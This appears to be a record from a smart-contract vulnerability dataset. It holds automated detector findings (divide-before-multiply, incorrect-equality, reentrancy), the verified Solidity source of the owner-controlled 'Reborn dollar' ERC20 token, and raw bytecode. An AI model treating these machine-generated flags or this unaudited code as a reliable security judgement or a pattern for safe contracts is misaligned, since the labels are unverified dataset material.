484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506135bf565b505050565b600080828403905060008312158015612c515750838113155b80612c675750600083128015612c6657508381135b5b612cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d006024913960400191505060405180910390fd5b8091505092915050565b600080600080612d13612d04670de0b6b3a7640000612cf6670a688906bd8b00008961380a90919063ffffffff16565b61393490919063ffffffff16565b8761346b90919063ffffffff16565b90506000612d5e612d4f670de0b6b3a7640000612d41670a688906bd8b00008b61380a90919063ffffffff16565b61393490919063ffffffff16565b8761346b90919063ffffffff16565b9050612d73818361380a90919063ffffffff16565b9350612dce612dad670a688906bd8b0000612d9f670de0b6b3a76400008861380a90919063ffffffff16565b61393490919063ffffffff16565b612dc08a8b61380a90919063ffffffff16565b612c3890919063ffffffff16565b925050506000612e18612e01670a688906bd8b00006ec097ce7bc90715b34b9f100000000061393490919063ffffffff16565b670a688906bd8b000061346b90919063ffffffff16565b90506000612e49670de0b6b3a7640000612e3b848b61380a90919063ffffffff16565b61393490919063ffffffff16565b90506000612e85612e6460048661380a90919063ffffffff16565b612e77848561380a90919063ffffffff16565b612c3890919063ffffffff16565b90506000811215612efe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f21726f6f7400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612f2f6002612f21612f0f84613a68565b8560000361346b90919063ffffffff16565b61393490919063ffffffff16565b955050505050509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613cb76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613049576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613b576023913960400191505060405180910390fd5b6130b481604051806060016040528060268152602001613bbe602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f39092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613147816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906132a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561326557808201518184015260208101905061324a565b50505050905090810190601f1680156132925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613339576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613c966021913960400191505060405180910390fd5b6133a481604051806060016040528060228152602001613b7a602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f39092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133fb81600254613ac190919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808284019050600083121580156134845750838112155b8061349a575060008312801561349957508381125b5b6134ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613be46021913960400191505060405180910390fd5b8091505092915050565b600080831182906135a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561356a57808201518184015260208101905061354f565b50505050905090810190601f1680156135975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816135b157fe5b049050809150509392505050565b6135de8273ffffffffffffffffffffffffffffffffffffffff16613b0b565b613650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061369f578051825260208201915060208101905060208303925061367c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613701576040519150601f19603f3d011682016040523d82523d6000602084013e613706565b606091505b50915091508161377e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156138045780806020019051602081101561379d57600080fd5b8101908080519060200190929190505050613803576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d24602a913960400191505060405180910390fd5b5b50505050565b60008083141561381d576000905061392e565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314801561386b57507f800000000000000000000000000000000000000000000000000000000000000082145b156138c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180613c6f6027913960400191505060405180910390fd5b60008284029050828482816138d257fe5b0514613929576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180613c6f6027913960400191505060405180910390fd5b809150505b92915050565b6000808214156139ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5369676e6564536166654d6174683a206469766973696f6e206279207a65726f81525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821480156139fa57507f800000000000000000000000000000000000000000000000000000000000000083145b15613a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613c056021913960400191505060405180910390fd5b6000828481613a5b57fe5b0590508091505092915050565b600080613a8060028481613a7857fe5b05600161346b565b905060008390505b80821215613ab7578190506002613aa8838681613aa157fe5b058461346b565b81613aaf57fe5b059150613a88565b8092505050919050565b6000613b0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506131f3565b905092915050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613b4d5750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655369676e6564536166654d6174683a206164646974696f6e206f766572666c6f775369676e6564536166654d6174683a206469766973696f6e206f766572666c6f77536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655369676e6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735369676e6564536166654d6174683a207375627472616374696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820105a2b2a372f2b661aa349b227b4b8fd7a62dfe520f3a9808826a892e90614ec64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
409
0x7fea8dda7462ac9f2ce62cf52ce9840e0e6a8c3b
/** *Submitted for verification at Etherscan.io on 2021-02-03 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.1; abstract contract ERC20 { uint256 private _totalSupply; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); /* * Internal Functions for ERC20 standard logics */ function _transfer(address from, address to, uint256 amount) internal returns (bool success) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); success = true; } function _approve(address owner, address spender, uint256 amount) internal returns (bool success) { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); success = true; } function _mint(address recipient, uint256 amount) internal returns (bool success) { _totalSupply = _totalSupply + amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(address(0), recipient, amount); success = true; } function _burn(address burned, uint256 amount) internal returns (bool success) { _balances[burned] = _balances[burned] - amount; _totalSupply = _totalSupply - amount; emit Transfer(burned, address(0), amount); success = true; } /* * public view functions to view common data */ function totalSupply() external view returns (uint256 total) { total = _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = _balances[owner]; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = _allowances[owner][spender]; } /* * External view Function Interface to implement on final contract */ function name() virtual external view returns (string memory tokenName); function symbol() virtual external view returns (string memory tokenSymbol); function decimals() virtual external view returns (uint8 tokenDecimals); /* * External Function Interface to implement on final contract */ function transfer(address to, uint256 amount) virtual external returns (bool success); function transferFrom(address from, address to, uint256 amount) virtual external returns (bool success); function approve(address spender, uint256 amount) virtual external returns (bool success); } // File contracts/library/Ownable.sol abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed currentOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require( msg.sender == _owner, "Ownable : Function called by unauthorized user." ); _; } function owner() external view returns (address ownerAddress) { ownerAddress = _owner; } function transferOwnership(address newOwner) public onlyOwner returns (bool success) { require(newOwner != address(0), "Ownable/transferOwnership : cannot transfer ownership to zero address"); success = _transferOwnership(newOwner); } function renounceOwnership() external onlyOwner returns (bool success) { success = _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal returns (bool success) { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; success = true; } } // File contracts/erc20/ERC20Lockable.sol abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 amount; uint256 due; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 due); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { require(_balances[from] >= _totalLocked[from] + amount, "ERC20Lockable/Cannot send more than unlocked amount"); _; } function _lock(address from, uint256 amount, uint256 due) internal returns (bool success) { require(due > block.timestamp, "ERC20Lockable/lock : Cannot set due to past"); require( _balances[from] >= amount + _totalLocked[from], "ERC20Lockable/lock : locked total should be smaller than balance" ); _totalLocked[from] = _totalLocked[from] + amount; _locks[from].push(LockInfo(amount, due)); emit Lock(from, amount, due); success = true; } function _unlock(address from, uint256 index) internal returns (bool success) { LockInfo storage lockinfo = _locks[from][index]; _totalLocked[from] = _totalLocked[from] - lockinfo.amount; emit Unlock(from, lockinfo.amount); _locks[from][index] = _locks[from][_locks[from].length - 1]; _locks[from].pop(); success = true; } function lock(address from, uint256 amount, uint256 due) external onlyOwner returns(bool success){ success = _lock(from, amount, due); } function unlck(address from, uint256 idx) external returns(bool success){ require(_locks[from][idx].due < block.timestamp,"ERC20Lockable/unlock: cannot unlock before due"); _unlock(from, idx); success = true; } function unlockAll(address from) external returns (bool success) { for(uint256 i = 0; i < _locks[from].length;){ i++; if(_locks[from][i-1].due < block.timestamp){ if(_unlock(from, i-1)){ i--; } } } success = true; } function releaseLock(address from) external onlyOwner returns (bool success) { for(uint256 i = 0; i < _locks[from].length;){ i++; if(_unlock(from, i-1)){ i--; } } success = true; } function transferWithLockUp(address recipient, uint256 amount, uint256 due) external onlyOwner returns (bool success) { require( recipient != address(0), "ERC20Lockable/transferWithLockUp : Cannot send to zero address" ); _transfer(msg.sender, recipient, amount); _lock(recipient, amount, due); success = true; } function lockInfo(address locked, uint256 index) external view returns (uint256 amount, uint256 due) { LockInfo memory lockinfo = _locks[locked][index]; amount = lockinfo.amount; due = lockinfo.due; } function totalLocked(address locked) external view returns(uint256 amount, uint256 length){ amount = _totalLocked[locked]; length = _locks[locked].length; } } // File contracts/library/Pausable.sol contract Pausable is Ownable { bool internal _paused; event Paused(); event Unpaused(); modifier whenPaused() { require(_paused, "Paused : This function can only be called when paused"); _; } modifier whenNotPaused() { require(!_paused, "Paused : This function can only be called when not paused"); _; } function pause() external onlyOwner whenNotPaused returns (bool success) { _paused = true; emit Paused(); success = true; } function unPause() external onlyOwner whenPaused returns (bool success) { _paused = false; emit Unpaused(); success = true; } function paused() external view returns (bool) { return _paused; } } // File contracts/erc20/ERC20Burnable.sol abstract contract ERC20Burnable is ERC20, Pausable { event Burn(address indexed burned, uint256 amount); function burn(uint256 amount) external whenNotPaused returns (bool success) { success = _burn(msg.sender, amount); emit Burn(msg.sender, amount); success = true; } function burnFrom(address burned, uint256 amount) external whenNotPaused returns (bool success) { _burn(burned, amount); emit Burn(burned, amount); success = _approve( burned, msg.sender, _allowances[burned][msg.sender] - amount ); } } // File contracts/erc20/ERC20Mintable.sol abstract contract ERC20Mintable is ERC20, Pausable { event Mint(address indexed receiver, uint256 amount); event MintFinished(); bool internal _mintingFinished; ///@notice mint token ///@dev only owner can call this function function mint(address receiver, uint256 amount) external onlyOwner whenNotPaused returns (bool success) { require( receiver != address(0), "ERC20Mintable/mint : Should not mint to zero address" ); require( !_mintingFinished, "ERC20Mintable/mint : Cannot mint after finished" ); _mint(receiver, amount); emit Mint(receiver, amount); success = true; } ///@notice finish minting, cannot mint after calling this function ///@dev only owner can call this function function finishMint() external onlyOwner returns (bool success) { require( !_mintingFinished, "ERC20Mintable/finishMinting : Already finished" ); _mintingFinished = true; emit MintFinished(); return true; } function isFinished() external view returns(bool finished) { finished = _mintingFinished; } } // File contracts/library/Freezable.sol contract Freezable is Ownable { mapping(address => bool) private _frozen; event Freeze(address indexed target); event Unfreeze(address indexed target); modifier whenNotFrozen(address target) { require(!_frozen[target], "Freezable : target is frozen"); _; } function freeze(address target) external onlyOwner returns (bool success) { _frozen[target] = true; emit Freeze(target); success = true; } function unFreeze(address target) external onlyOwner returns (bool success) { _frozen[target] = false; emit Unfreeze(target); success = true; } function isFrozen(address target) external view returns (bool frozen) { return _frozen[target]; } } // File contracts/Reborn.sol contract Reborn is ERC20Lockable, ERC20Burnable, ERC20Mintable, Freezable { string constant private _name = "Reborn dollar"; string constant private _symbol = "REBD"; uint8 constant private _decimals = 18; uint256 constant private _initial_supply = 2_000_000_000; constructor() Ownable() { _mint(msg.sender, _initial_supply * (10**uint256(_decimals))); } function transfer(address to, uint256 amount) override external whenNotFrozen(msg.sender) whenNotPaused checkLock(msg.sender, amount) returns (bool success) { require( to != address(0), "REBD/transfer : Should not send to zero address" ); _transfer(msg.sender, to, amount); success = true; } function transferFrom(address from, address to, uint256 amount) override external whenNotFrozen(from) whenNotPaused checkLock(from, amount) returns (bool success) { require( to != address(0), "REBD/transferFrom : Should not send to zero address" ); _transfer(from, to, amount); _approve( from, msg.sender, _allowances[from][msg.sender] - amount ); success = true; } function approve(address spender, uint256 amount) override external returns (bool success) { require( spender != address(0), "REBD/approve : Should not approve zero address" ); _approve(msg.sender, spender, amount); success = true; } function name() override external pure returns (string memory tokenName) { tokenName = _name; } function symbol() override external pure returns (string memory tokenSymbol) { tokenSymbol = _symbol; } function decimals() override external pure returns (uint8 tokenDecimals) { tokenDecimals = _decimals; } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638456cb5911610104578063d1c46916116100a2578063e4cc18be11610071578063e4cc18be1461061f578063e58398361461063d578063f2fde38b1461066d578063f7b188a51461069d576101da565b8063d1c469161461055e578063d8fb93371461058e578063dd62ed3e146105bf578063e2ab691d146105ef576101da565b806395d89b41116100de57806395d89b41146104af578063a9059cbb146104cd578063b2520a7c146104fd578063c4f3a8531461052e576101da565b80638456cb59146104435780638d1fdf2f146104615780638da5cb5b14610491576101da565b806342966c681161017c578063715018a61161014b578063715018a6146103a757806379cc6790146103c55780637b352962146103f557806383cfab4214610413576101da565b806342966c68146102f957806351d05001146103295780635c975abb1461035957806370a0823114610377576101da565b806323b872dd116101b857806323b872dd1461024b578063313ce5671461027b57806338b820921461029957806340c10f19146102c9576101da565b806306fdde03146101df578063095ea7b3146101fd57806318160ddd1461022d575b600080fd5b6101e76106bb565b6040516101f49190613043565b60405180910390f35b61021760048036038101906102129190612cb4565b6106f8565b6040516102249190613028565b60405180910390f35b61023561077f565b6040516102429190613265565b60405180910390f35b61026560048036038101906102609190612c65565b610788565b6040516102729190613028565b60405180910390f35b610283610a53565b60405161029091906132a9565b60405180910390f35b6102b360048036038101906102ae9190612cf0565b610a5c565b6040516102c09190613028565b60405180910390f35b6102e360048036038101906102de9190612cb4565b610b81565b6040516102f09190613028565b60405180910390f35b610313600480360381019061030e9190612d3f565b610d86565b6040516103209190613028565b60405180910390f35b610343600480360381019061033e9190612cb4565b610e3b565b6040516103509190613028565b60405180910390f35b610361610f1c565b60405161036e9190613028565b60405180910390f35b610391600480360381019061038c9190612c00565b610f33565b60405161039e9190613265565b60405180910390f35b6103af610f7c565b6040516103bc9190613028565b60405180910390f35b6103df60048036038101906103da9190612cb4565b61101d565b6040516103ec9190613028565b60405180910390f35b6103fd611162565b60405161040a9190613028565b60405180910390f35b61042d60048036038101906104289190612c00565b611179565b60405161043a9190613028565b60405180910390f35b61044b6112af565b6040516104589190613028565b60405180910390f35b61047b60048036038101906104769190612c00565b6113df565b6040516104889190613028565b60405180910390f35b610499611515565b6040516104a6919061300d565b60405180910390f35b6104b761153f565b6040516104c49190613043565b60405180910390f35b6104e760048036038101906104e29190612cb4565b61157c565b6040516104f49190613028565b60405180910390f35b61051760048036038101906105129190612cb4565b6117b3565b604051610525929190613280565b60405180910390f35b61054860048036038101906105439190612c00565b611874565b6040516105559190613028565b60405180910390f35b61057860048036038101906105739190612c00565b6119aa565b6040516105859190613028565b60405180910390f35b6105a860048036038101906105a39190612c00565b611ad0565b6040516105b6929190613280565b60405180910390f35b6105d960048036038101906105d49190612c29565b611b5f565b6040516105e69190613265565b60405180910390f35b61060960048036038101906106049190612cf0565b611be6565b6040516106169190613028565b60405180910390f35b610627611c8c565b6040516106349190613028565b60405180910390f35b61065760048036038101906106529190612c00565b611dbc565b6040516106649190613028565b60405180910390f35b61068760048036038101906106829190612c00565b611e12565b6040516106949190613028565b60405180910390f35b6106a5611f24565b6040516106b29190613028565b60405180910390f35b60606040518060400160405280600d81526020017f5265626f726e20646f6c6c617200000000000000000000000000000000000000815250905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076090613085565b60405180910390fd5b610774338484612053565b506001905092915050565b60008054905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080f90613205565b60405180910390fd5b600660009054906101000a900460ff1615610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90613165565b60405180910390fd5b848380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108b591906132e0565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d906131e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099d90613105565b60405180910390fd5b6109b1878787612146565b50610a44873387600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3f9190613336565b612053565b50600193505050509392505050565b60006012905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae5906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5590613065565b60405180910390fd5b610b69338585612146565b50610b758484846122d4565b50600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a906131a5565b60405180910390fd5b600660009054906101000a900460ff1615610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a90613165565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90613145565b60405180910390fd5b600660019054906101000a900460ff1615610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613185565b60405180910390fd5b610d2d8383612560565b508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688583604051610d749190613265565b60405180910390a26001905092915050565b6000600660009054906101000a900460ff1615610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf90613165565b60405180910390fd5b610de23383612674565b90503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca583604051610e2a9190613265565b60405180910390a260019050919050565b600042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110610eb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001015410610f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efe90613125565b60405180910390fd5b610f118383612788565b506001905092915050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611005906131a5565b60405180910390fd5b6110186000612b0e565b905090565b6000600660009054906101000a900460ff161561106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106690613165565b60405180910390fd5b6110798383612674565b508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040516110c09190613265565b60405180910390a261115a833384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111559190613336565b612053565b905092915050565b6000600660019054906101000a900460ff16905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611202906131a5565b60405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906131a5565b60405180910390fd5b600660009054906101000a900460ff1615611391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138890613165565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055507f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75260405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611471576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611468906131a5565b60405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5245424400000000000000000000000000000000000000000000000000000000815250905090565b600033600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561160c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160390613205565b60405180910390fd5b600660009054906101000a900460ff161561165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390613165565b60405180910390fd5b338380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a991906132e0565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561172a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611721906131e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561179a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611791906131c5565b60405180910390fd5b6117a5338787612146565b506001935050505092915050565b6000806000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061182f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016040518060400160405290816000820154815260200160018201548152505090508060000151925080602001519150509250929050565b600080600090505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156119a05780806118d19061341c565b91505042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001836119219190613336565b81548110611958577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010154101561199b57611986836001836119819190613336565b612788565b1561199a578080611996906133f2565b9150505b5b61187c565b5060019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a33906131a5565b60405180910390fd5b60005b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611ac6578080611a949061341c565b915050611aad83600183611aa89190613336565b612788565b15611ac1578080611abd906133f2565b9150505b611a3f565b5060019050919050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050915091565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f906131a5565b60405180910390fd5b611c838484846122d4565b90509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d15906131a5565b60405180910390fd5b600660019054906101000a900460ff1615611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d65906130a5565b60405180910390fd5b6001600660016101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffff